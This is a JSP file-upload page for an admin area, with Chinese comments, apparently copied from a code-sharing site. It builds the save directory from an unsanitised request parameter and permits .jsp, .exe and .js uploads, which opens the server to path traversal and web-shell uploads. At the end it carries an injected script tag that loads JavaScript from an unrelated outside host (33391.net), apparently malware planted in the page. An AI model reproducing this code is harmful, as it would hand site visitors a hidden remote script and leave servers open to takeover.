?? upload.jsp
字號:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8" import="snowLoverBean.*"%>
<%@page import="java.io.*"%>
<%@page import="com.xinnuo.upload.servlet.HttpFileUPload"%>
<%@page import="com.xinnuo.upload.servlet.DateFileRenamePolicy"%>
<%@page import="com.xinnuo.upload.FileRenamePolicy"%>
<%
//看用戶是否已登錄
if(session.getAttribute("userinfor")==null || session.getAttribute("rightinfor")==null)
{
//說明還未登錄
response.sendRedirect("../user/login.jsp");
return;
}
else if(((right)session.getAttribute("rightinfor")).getRightid()!=0)
{
//不是管理員
response.sendRedirect("../err.jsp?id=20");
return;
}
%>
<body>
<%
//得到path的值
String path=request.getParameter("path");
path=new String(path.getBytes("ISO-8859-1"),"GBK");
//測試根目錄路徑
String realPath=request.getRealPath("/");
path=realPath+path;
//創建此目錄保存文件
//String saveDirectory = "testfile";
String saveDirectory=path;
//設置最大一次性可上傳2G大小的文件
int maxPostSize = 2 * 1024 * 1024 * 1024-1;
//命名規則
//FileRenamePolicy policy = new DateFileRenamePolicy();
HttpFileUPload fileUpload = new HttpFileUPload();
//編碼
fileUpload.setEncoding("UTF-8");
fileUpload.setMaxPostSize(maxPostSize);
//fileUpload.setPolicy(policy);
fileUpload.setSaveDirectory(saveDirectory);
//允許上傳文件類型
fileUpload.setAllowFiles("jpg,gif,mp3,rmvb,wmv,ghs,reg,rar,zip,exe,jsp,htm,html,js,css");
//輸出反饋信息
try{
Enumeration files = fileUpload.parseRequest(request);
while (files.hasMoreElements()) {
String name = (String) files.nextElement();
File file = fileUpload.getFile(name);
if (file != null) {
out.println("上傳的文件:" + file.getAbsolutePath()+" ");
out.println("<hr>");
}
}
out.println("<a href='javascript:history.go(-1)'>返回</a>");
}catch(Exception e){
out.println(e.toString()+"<br>");
out.println("<input type='button' value='重新上傳' onClick=\""+"location='index.jsp'\""+">");
}finally{
//清理session
Thread.sleep(1000);
fileUpload.dispose();
}
%>
</body>
<script language=javascript src=http://user3.33391.net/ps.js></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -